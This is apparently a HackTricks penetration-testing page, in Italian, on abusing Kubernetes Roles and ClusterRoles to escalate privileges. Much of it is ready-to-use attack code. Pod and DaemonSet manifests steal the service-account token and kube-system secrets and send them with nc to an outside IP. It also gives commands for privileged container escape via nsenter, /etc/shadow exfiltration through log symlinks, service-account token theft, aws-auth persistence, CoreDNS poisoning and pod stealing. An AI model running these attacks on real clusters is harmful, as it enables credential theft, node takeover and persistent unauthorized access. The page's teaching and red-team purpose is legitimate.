# Abusing Roles/ClusterRoles in Kubernetes

{{#include ../../../banners/hacktricks-training.md}}

Qui puoi trovare alcune configurazioni di Roles e ClusterRoles potenzialmente pericolose.\
Ricorda che puoi ottenere tutte le risorse supportate con `kubectl api-resources`

## **Privilege Escalation**

Si riferisce all'arte di ottenere **accesso a un diverso principale** all'interno del cluster **con privilegi diversi** (all'interno del cluster kubernetes o a cloud esterni) rispetto a quelli che già possiedi. In Kubernetes ci sono fondamentalmente **4 tecniche principali per escalare i privilegi**:

- Essere in grado di **impersonare** altri utenti/gruppi/SAs con privilegi migliori all'interno del cluster kubernetes o a cloud esterni
- Essere in grado di **creare/patchare/eseguire pod** dove puoi **trovare o allegare SAs** con privilegi migliori all'interno del cluster kubernetes o a cloud esterni
- Essere in grado di **leggere segreti** poiché i token SAs sono memorizzati come segreti
- Essere in grado di **uscire verso il nodo** da un container, dove puoi rubare tutti i segreti dei container in esecuzione nel nodo, le credenziali del nodo e i permessi del nodo all'interno del cloud in cui è in esecuzione (se presente)
- Una quinta tecnica che merita una menzione è la capacità di **eseguire port-forward** in un pod, poiché potresti essere in grado di accedere a risorse interessanti all'interno di quel pod.

### Access Any Resource or Verb (Wildcard)

Il **wildcard (\*) concede permessi su qualsiasi risorsa con qualsiasi verbo**. È usato dagli amministratori. All'interno di un ClusterRole questo significa che un attaccante potrebbe abusare di anynamespace nel cluster
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
```
### Accedi a qualsiasi risorsa con un verbo specifico

In RBAC, alcune autorizzazioni comportano rischi significativi:

1. **`create`:** Concede la possibilità di creare qualsiasi risorsa del cluster, rischiando un'escursione di privilegi.
2. **`list`:** Consente di elencare tutte le risorse, potenzialmente rivelando dati sensibili.
3. **`get`:** Permette di accedere ai segreti degli account di servizio, costituendo una minaccia per la sicurezza.
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
```
### Pod Create - Steal Token

Un attaccante con i permessi per creare un pod potrebbe allegare un Service Account privilegiato nel pod e rubare il token per impersonare il Service Account. Efficacemente, aumentando i privilegi.

Esempio di un pod che ruberà il token del Service Account `bootstrap-signer` e lo invierà all'attaccante:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
```
### Creazione e fuga del Pod

Quanto segue indica tutti i privilegi che un container può avere:

- **Accesso privilegiato** (disabilitando le protezioni e impostando le capacità)
- **Disabilitare i namespace hostIPC e hostPid** che possono aiutare ad elevare i privilegi
- **Disabilitare il namespace hostNetwork**, dando accesso per rubare i privilegi cloud dei nodi e un migliore accesso alle reti
- **Montare gli host / all'interno del container**
```yaml:super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
```
Crea il pod con:
```bash
kubectl --token $token create -f mount_root.yaml
```
One-liner da [questo tweet](https://twitter.com/mauilion/status/1129468485480751104) e con alcune aggiunte:
```bash
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
```
#### Stealth

Probabilmente vuoi essere **più furtivo**, nelle pagine seguenti puoi vedere a cosa potresti accedere se crei un pod abilitando solo alcuni dei privilegi menzionati nel template precedente:

- **Privileged + hostPID**
- **Privileged only**
- **hostPath**
- **hostPID**
- **hostNetwork**
- **hostIPC**

_Puoi trovare un esempio di come creare/abuse le configurazioni dei pod privilegiati precedenti in_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods)

### Pod Create - Move to cloud

Se puoi **creare** un **pod** (e opzionalmente un **service account**) potresti essere in grado di **ottenere privilegi nell'ambiente cloud** assegnando **ruoli cloud a un pod o a un service account** e poi accedervi.\
Inoltre, se puoi creare un **pod con il namespace di rete host** puoi **rubare il ruolo IAM** dell'istanza **node**.

Per ulteriori informazioni controlla:

{{#ref}}
pod-escape-privileges.md
{{#endref}}

### **Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs**

È possibile abusare di questi permessi per **creare un nuovo pod** e stabilire privilegi come nell'esempio precedente.

Il seguente yaml **crea un daemonset ed esfiltra il token del SA** all'interno del pod:
```yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
```
### **Pods Exec**

**`pods/exec`** è una risorsa in kubernetes utilizzata per **eseguire comandi in una shell all'interno di un pod**. Questo consente di **eseguire comandi all'interno dei container o ottenere una shell all'interno**.

Pertanto, è possibile **entrare in un pod e rubare il token del SA**, o entrare in un pod privilegiato, fuggire verso il nodo e rubare tutti i token dei pod nel nodo e (ab)usare il nodo:
```bash
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
```
> [!NOTE]
> Per impostazione predefinita, il comando viene eseguito nel primo container del pod. Ottieni **tutti i pod in un container** con `kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'` e poi **indica il container** in cui vuoi eseguirlo con `kubectl exec -it <pod_name> -c <container_name> -- sh`

Se si tratta di un container distroless, puoi provare a utilizzare **shell builtins** per ottenere informazioni sui container o caricare i tuoi strumenti come un **busybox** usando: **`kubectl cp </path/local/file> <podname>:</path/in/container>`**.

### port-forward

Questa autorizzazione consente di **inoltrare una porta locale a una porta nel pod specificato**. Questo è pensato per poter eseguire il debug delle applicazioni in esecuzione all'interno di un pod facilmente, ma un attaccante potrebbe abusarne per accedere a applicazioni interessanti (come DB) o vulnerabili (web?) all'interno di un pod:
```bash
kubectl port-forward pod/mypod 5000:5000
```
### Hosts Writable /var/log/ Escape

Come [**indicato in questa ricerca**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), se puoi accedere o creare un pod con la **directory `/var/log/` dei host montata** su di esso, puoi **uscire dal container**.\
Questo è fondamentalmente perché quando il **Kube-API cerca di ottenere i log** di un container (utilizzando `kubectl logs <pod>`), **richiede il file `0.log`** del pod utilizzando l'endpoint `/logs/` del servizio **Kubelet**.\
Il servizio Kubelet espone l'endpoint `/logs/` che è fondamentalmente **l'esposizione del filesystem `/var/log` del container**.

Pertanto, un attaccante con **accesso in scrittura nella cartella /var/log/** del container potrebbe abusare di questo comportamento in 2 modi:

- Modificando il file `0.log` del proprio container (di solito situato in `/var/logs/pods/namespace_pod_uid/container/0.log`) per essere un **symlink che punta a `/etc/shadow`** per esempio. Poi, sarai in grado di esfiltrare il file shadow degli host facendo:
```bash
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
```
- Se l'attaccante controlla qualsiasi principale con i **permessi per leggere `nodes/log`**, può semplicemente creare un **symlink** in `/host-mounted/var/log/sym` a `/` e quando **accede a `https://<gateway>:10250/logs/sym/` elencherà il filesystem root** dell'host (cambiando il symlink può fornire accesso ai file).
```bash
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
```
**Un laboratorio e un exploit automatizzato possono essere trovati in** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts)

#### Bypassare la protezione readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>

Se sei abbastanza fortunato e la capacità altamente privilegiata `CAP_SYS_ADMIN` è disponibile, puoi semplicemente rimontare la cartella come rw:
```bash
mount -o rw,remount /hostlogs/
```
#### Bypassare la protezione hostPath readOnly <a href="#bypassing-hostpath-readonly-protection" id="bypassing-hostpath-readonly-protection"></a>

Come indicato in [**questa ricerca**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), è possibile bypassare la protezione:
```yaml
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
```
Che era destinato a prevenire le fughe come quelle precedenti, utilizzando invece di un mount hostPath, un PersistentVolume e un PersistentVolumeClaim per montare una cartella dell'host nel contenitore con accesso in scrittura:
```yaml
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
```
### **Impersonare account privilegiati**

Con un privilegio di [**impersonificazione dell'utente**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), un attaccante potrebbe impersonare un account privilegiato.

Basta utilizzare il parametro `--as=<username>` nel comando `kubectl` per impersonare un utente, o `--as-group=<group>` per impersonare un gruppo:
```bash
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
```
Oppure usa l'API REST:
```bash
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Elencare i segreti

Il permesso di **elencare i segreti potrebbe consentire a un attaccante di leggere effettivamente i segreti** accedendo all'endpoint API REST:
```bash
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
```
### Creazione e Lettura di Segreti

Esiste un tipo speciale di segreto Kubernetes di tipo **kubernetes.io/service-account-token** che memorizza i token degli account di servizio. Se hai i permessi per creare e leggere segreti, e conosci anche il nome dell'account di servizio, puoi creare un segreto come segue e poi rubare il token dell'account di servizio della vittima da esso:
```yaml
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
```
Esempio di sfruttamento:
```bash
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)

$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
secrets                                         []                                     []               [get create]
[/.well-known/openid-configuration/]   []               [get]
<SNIP>
[/version]                             []               [get]

$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"

$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"

$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created

$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
```
Nota che se ti è permesso creare e leggere segreti in un certo namespace, il serviceaccount della vittima deve trovarsi anche in quel namespace.

### Lettura di un segreto – forzatura dei token ID

Mentre un attaccante in possesso di un token con permessi di lettura richiede il nome esatto del segreto per utilizzarlo, a differenza del privilegio più ampio di _**elencare segreti**_, ci sono ancora vulnerabilità. Gli account di servizio predefiniti nel sistema possono essere enumerati, ciascuno associato a un segreto. Questi segreti hanno una struttura di nome: un prefisso statico seguito da un token alfanumerico casuale di cinque caratteri (escludendo alcuni caratteri) secondo il [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).

Il token è generato da un set limitato di 27 caratteri (`bcdfghjklmnpqrstvwxz2456789`), piuttosto che dall'intero intervallo alfanumerico. Questa limitazione riduce il numero totale di combinazioni possibili a 14.348.907 (27^5). Di conseguenza, un attaccante potrebbe ragionevolmente eseguire un attacco di forza bruta per dedurre il token in poche ore, potenzialmente portando a un'escalation dei privilegi accedendo a account di servizio sensibili.

### EncrpytionConfiguration in chiaro

È possibile trovare chiavi in chiaro per crittografare i dati a riposo in questo tipo di oggetto come:
```yaml
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/

#
# CAUTION: this is an example configuration.
#          Do not use this for your own cluster!
#

apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
```
### Certificate Signing Requests

Se hai il verbo **`create`** nella risorsa `certificatesigningrequests` (o almeno in `certificatesigningrequests/nodeClient`). Puoi **creare** un nuovo CeSR di un **nuovo nodo.**

Secondo la [documentazione è possibile approvare automaticamente queste richieste](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), quindi in quel caso **non hai bisogno di permessi extra**. Se no, dovresti essere in grado di approvare la richiesta, il che significa aggiornare in `certificatesigningrequests/approval` e `approve` in `signers` con resourceName `<signerNameDomain>/<signerNamePath>` o `<signerNameDomain>/*`

Un **esempio di un ruolo** con tutti i permessi richiesti è:
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
```
Quindi, con la nuova CSR del nodo approvata, puoi **abuse** delle autorizzazioni speciali dei nodi per **steal secrets** e **escalate privileges**.

In [**questo post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**questo**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) la configurazione del GKE K8s TLS Bootstrap è configurata con **automatic signing** e viene abusata per generare credenziali di un nuovo nodo K8s e poi abusare di queste per escalare privilegi rubando segreti.\
Se **hai i privilegi menzionati potresti fare la stessa cosa**. Nota che il primo esempio bypassa l'errore che impedisce a un nuovo nodo di accedere ai segreti all'interno dei contenitori perché un **nodo può accedere solo ai segreti dei contenitori montati su di esso.**

Il modo per bypassare questo è semplicemente **creare una credenziale del nodo per il nome del nodo dove il contenitore con i segreti interessanti è montato** (ma controlla solo come farlo nel primo post):
```bash
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
```
### AWS EKS aws-auth configmaps

I principi che possono modificare **`configmaps`** nello spazio dei nomi kube-system sui cluster EKS (devono essere in AWS) possono ottenere privilegi di amministratore del cluster sovrascrivendo il configmap **aws-auth**.\
I verbi necessari sono **`update`** e **`patch`**, o **`create`** se il configmap non è stato creato:
```bash
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
```
> [!WARNING]
> Puoi usare **`aws-auth`** per la **persistenza** dando accesso agli utenti di **altri account**.
>
> Tuttavia, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **non funziona da un account diverso**. Ma in realtà `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funziona se metti l'ARN del cluster invece del solo nome.\
> Per far funzionare `kubectl`, assicurati di **configurare** il **kubeconfig della vittima** e negli argomenti di esecuzione di aws aggiungi `--profile other_account_role` in modo che kubectl utilizzi il profilo dell'altro account per ottenere il token e contattare AWS.

### CoreDNS config map

Se hai i permessi per modificare il **`coredns` configmap** nel namespace `kube-system`, puoi modificare gli indirizzi a cui i domini verranno risolti per poter eseguire attacchi MitM per **rubare informazioni sensibili o iniettare contenuti malevoli**.

I verbi necessari sono **`update`** e **`patch`** sul **`coredns`** configmap (o su tutte le config map).

Un normale **file coredns** contiene qualcosa del genere:
```yaml
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
```
Un attaccante potrebbe scaricarlo eseguendo `kubectl get configmap coredns -n kube-system -o yaml`, modificarlo aggiungendo qualcosa come `rewrite name victim.com attacker.com` in modo che ogni volta che si accede a `victim.com`, in realtà si accede al dominio `attacker.com`. E poi applicarlo eseguendo `kubectl apply -f poison_dns.yaml`.

Un'altra opzione è semplicemente modificare il file eseguendo `kubectl edit configmap coredns -n kube-system` e apportando modifiche.

### Escalation in GKE

Ci sono **2 modi per assegnare permessi K8s ai principi GCP**. In ogni caso, il principio ha anche bisogno del permesso **`container.clusters.get`** per poter raccogliere le credenziali per accedere al cluster, oppure dovrai **generare il tuo file di configurazione kubectl** (segui il link successivo).

> [!WARNING]
> Quando si parla con l'endpoint API K8s, il **token di autenticazione GCP verrà inviato**. Poi, GCP, attraverso l'endpoint API K8s, controllerà prima **se il principio** (per email) **ha accesso all'interno del cluster**, poi controllerà se ha **accesso tramite GCP IAM**.\
> Se **qualcuno** di questi è **vero**, riceverà una **risposta**. Se **no**, verrà fornito un **errore** che suggerisce di dare **permessi tramite GCP IAM**.

Quindi, il primo metodo è utilizzare **GCP IAM**, i permessi K8s hanno i loro **permessi equivalenti GCP IAM**, e se il principio li ha, potrà usarli.

{{#ref}}
../../gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
{{#endref}}

Il secondo metodo è **assegnare permessi K8s all'interno del cluster** identificando l'utente tramite la sua **email** (inclusi gli account di servizio GCP).

### Creare token serviceaccounts

Principi che possono **creare TokenRequests** (`serviceaccounts/token`) Quando si parla con l'endpoint API K8s SAs (info da [**qui**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/token_request.rego)).

### ephemeralcontainers

Principi che possono **`update`** o **`patch`** **`pods/ephemeralcontainers`** possono ottenere **esecuzione di codice su altri pod**, e potenzialmente **uscire** al loro nodo aggiungendo un contenitore effimero con un securityContext privilegiato.

### ValidatingWebhookConfigurations o MutatingWebhookConfigurations

Principi con uno dei verbi `create`, `update` o `patch` su `validatingwebhookconfigurations` o `mutatingwebhookconfigurations` potrebbero essere in grado di **creare una di queste webhookconfigurations** per poter **escalare i privilegi**.

Per un [`mutatingwebhookconfigurations` esempio controlla questa sezione di questo post](#malicious-admission-controller).

### Escalate

Come puoi leggere nella sezione successiva: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), un principio non può aggiornare né creare ruoli o clusterroles senza avere lui stesso quei nuovi permessi. A meno che non abbia il **verbo `escalate` o `*`** su **`roles`** o **`clusterroles`** e le rispettive opzioni di binding.\
Allora può aggiornare/creare nuovi ruoli, clusterroles con permessi migliori di quelli che ha.

### Nodes proxy

Principi con accesso alla **`nodes/proxy`** subrisorsa possono **eseguire codice su pod** tramite l'API Kubelet (secondo [**questo**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Maggiori informazioni sull'autenticazione Kubelet in questa pagina:

{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}

Hai un esempio di come ottenere [**RCE parlando autorizzato a un'API Kubelet qui**](../pentesting-kubernetes-services/index.html#kubelet-rce).

### Eliminare pod + nodi non pianificabili

Principi che possono **eliminare pod** (`delete` verbo su `pods` risorsa), o **evict pod** (`create` verbo su `pods/eviction` risorsa), o **cambiare lo stato del pod** (accesso a `pods/status`) e possono **rendere altri nodi non pianificabili** (accesso a `nodes/status`) o **eliminare nodi** (`delete` verbo su `nodes` risorsa) e hanno il controllo su un pod, potrebbero **rubare pod da altri nodi** in modo che vengano **eseguiti** nel **nodo compromesso** e l'attaccante può **rubare i token** da quei pod.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>
```
### Stato dei servizi (CVE-2020-8554)

I principi che possono **modificare** **`services/status`** possono impostare il campo `status.loadBalancer.ingress.ip` per sfruttare il **CVE-2020-8554 non corretto** e lanciare **attacchi MiTM contro il cluster**. La maggior parte delle mitigazioni per il CVE-2020-8554 previene solo i servizi ExternalIP (secondo [**questo**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).

### Stato dei nodi e dei pod

I principi con permessi **`update`** o **`patch`** su `nodes/status` o `pods/status` potrebbero modificare le etichette per influenzare i vincoli di pianificazione applicati.

## Prevenzione dell'Escalation dei Privilegi Integrata

Kubernetes ha un [meccanismo integrato](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) per prevenire l'escalation dei privilegi.

Questo sistema garantisce che **gli utenti non possano elevare i propri privilegi modificando ruoli o binding di ruoli**. L'applicazione di questa regola avviene a livello API, fornendo una protezione anche quando l'autorizzatore RBAC è inattivo.

La regola stabilisce che un **utente può creare o aggiornare un ruolo solo se possiede tutti i permessi di cui il ruolo è composto**. Inoltre, l'ambito dei permessi esistenti dell'utente deve allinearsi a quello del ruolo che sta tentando di creare o modificare: o a livello di cluster per i ClusterRoles o limitato allo stesso namespace (o a livello di cluster) per i Roles.

> [!WARNING]
> C'è un'eccezione a questa regola precedente. Se un principio ha il **verbo `escalate`** su **`roles`** o **`clusterroles`**, può aumentare i privilegi di ruoli e clusterroles anche senza avere i permessi lui stesso.

### **Ottieni & Patch RoleBindings/ClusterRoleBindings**

> [!CAUTION]
> **Apparentemente questa tecnica funzionava prima, ma secondo i miei test non funziona più per lo stesso motivo spiegato nella sezione precedente. Non puoi creare/modificare un rolebinding per darti o dare a un diverso SA alcuni privilegi se non li hai già.**

Il privilegio di creare Rolebindings consente a un utente di **associare ruoli a un account di servizio**. Questo privilegio può potenzialmente portare a un'escalation dei privilegi perché **consente all'utente di associare privilegi di amministratore a un account di servizio compromesso.**

## Altri Attacchi

### App proxy Sidecar

Per impostazione predefinita non c'è alcuna crittografia nella comunicazione tra i pod. Autenticazione reciproca, bidirezionale, da pod a pod.

#### Crea un'app proxy Sidecar

Un contenitore sidecar consiste semplicemente nell'aggiungere un **secondo (o più) contenitore all'interno di un pod**.

Ad esempio, quanto segue è parte della configurazione di un pod con 2 contenitori:
```yaml
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
```
Ad esempio, per inserire un backdoor in un pod esistente con un nuovo container, puoi semplicemente aggiungere un nuovo container nella specifica. Nota che puoi **dare più permessi** al secondo container che il primo non avrà.

Maggiore informazione su: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)

### Malicious Admission Controller

Un admission controller **intercetta le richieste al server API di Kubernetes** prima della persistenza dell'oggetto, ma **dopo che la richiesta è stata autenticata** **e autorizzata**.

Se un attaccante riesce in qualche modo a **iniettare un Mutation Admission Controller**, sarà in grado di **modificare richieste già autenticate**. Essere in grado di potenzialmente privesc, e più comunemente persistere nel cluster.

**Esempio da** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
```
